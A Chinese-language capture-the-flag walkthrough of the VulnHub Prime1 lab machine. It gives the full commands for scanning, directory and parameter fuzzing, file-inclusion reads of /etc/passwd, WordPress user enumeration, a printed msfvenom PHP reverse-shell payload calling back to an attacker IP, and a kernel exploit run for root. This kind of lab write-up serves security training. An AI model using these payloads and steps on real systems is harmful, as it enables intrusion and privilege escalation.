CTF夺旗 VulnHub-Prime1
在没有密码的情况下进行提权获得flag
信息收集
扫描C段拿到靶机ip
nmap -sP 192.168.88.0/24
访问192.168.88.136地址,只有一张图片
扫描端口 根据常用端口判定服务 -A全面扫描/综合扫描
nmap -p 1-65535 -A 192.168.88.136
扫描到22和80端口 以及服务器的版本Ubuntu 4ubuntu2.8
目录扫描
常用工具:
dirb、dirsearch、御剑、Burp Suite、dirbuster(在kali终端输入,启动图形化界面)
普通扫描
dirb http://192.168.88.136/
搜集到的有效资产
http://192.168.88.136/dev
http://192.168.88.136/index.php (无用)
http://192.168.88.136/server-status (无用)
http://192.168.88.136/wordpress/
被嘲讽了说我在第0层,目前搜集到的有用信息就是使用了wordpress框架以及地址
指定后缀扫描
dirb http://192.168.88.136 -X .txt,.php,.zip
增加了资产
http://192.168.88.136/image.php (无用)
http://192.168.88.136/secret.txt
给了些提示,fuzz获得php页面的参数,找到location.txt会帮助找到密码
那就fuzz测试php参数
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.88.136?FUZZ
结果太多了根据word数量进行下过滤
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://192.168.88.136/index.php?FUZZ
拿到了参数file,随便给个值验证下,说是错误的文件
下一步就是拿到参数具体的值,前面已经给了提示loaction.txt,验证一下果然如此
说我找到了正确的参数secrettier360,用这个参数在其它php页面进行更多的操作
目前已知资产里的php页面除了默认的首页index.php就只有之前没用到的image.php了
在image.php看一下这个参数是否存在文件包含漏洞,测试访问文件
确实存在漏洞验证了之前的判定,但这个不分行读起来很难受还得使用命令curl
接下来直奔主题看看密码
curl http://192.168.88.136/image.php?secrettier360=/etc/passwd
在众多密码中找到了一条线索
/home/saket/password.txt
继续访问
curl http://192.168.88.136/image.php?secrettier360=/home/saket/password.txt
找到密码follow_the_ippsec
不知道这个密码是哪里的,尝试登陆服务器不行密码错误
那应该就是wordpress里的密码了
现在只有密码,没有用户名
第一时间想到的是爆破用户名可能需要很久也可能很快。想想还是直接扫吧,使用wordpress扫描用户的工具有很多cmsseek、wpscan等
wpscan --url http://192.168.88.136/wordpress/ --enumerate u
找到用户信息victor
登录成功
漏洞利用
在登陆成功到wordpress后台,接下来利用它的漏洞对服务器进行控制以及提权。
因为wordpress是一个博客快捷开发框架,使用的人非常多,有很多不会编程的人只懂得一些简单的修改样式代码但并不会使用编辑器。官方因此也提供了页面编辑器功能实时修改代码。
那这样是不是就直接可以写入shell文件对靶机进行控制。写入木马容易被防火墙拦截决定采用反弹shell的方式。
利用msf生成反弹shell
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.88.132 lport=7777 -o shell.php
/*<?php /**/ error_reporting(0); $ip = '192.168.88.132'; $port = 7777; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
再启动一个监听端口等待获取meterpreter
设置好参数后run
在编辑器中找到了一个可以写入php的入口,secret.php写入shell
接下来就需要访问触发这个shell,需要知道访问这个shell文件的地址
在之前wpscan扫描的时候已经扫到了关键信息,像readme.txt还是style.css都和这个secret.php在同一目录下
访问 http://192.168.88.136/wordpress/wp-content/themes/twentynineteen/secret.php
控制机触发拿到meterpreter
提权夺旗
在拿到meterpreter后,查看靶机信息
查找这个系统的漏洞信息
searchsploit 16.04 Ubuntu
选一个符合版本的本地提权脚本
回到一个目录,将文件45010.c拷贝下来
cp /usr/share/exploitdb/exploits/linux/local/45010.c ./
编译攻击脚本
gcc 45010.c -o 45010AK
接下来将这个攻击脚本上传到靶机执行,因为已经控制了靶机所以上传也十分简单
tmp目录是任何用户都有权限,所以选择上传到这里
upload /root/45010AK /tmp/45010AK
上传成功后准备执行脚本
进入shell
shell
给45010AK脚本权限,运行该脚本
cd /tmp
chomd +x 45010AK
./45010AK
查看角色
已经拿到了root权限,现在只差拿到flag
回到root目录,有个root.txt文件
cat一下拿到flag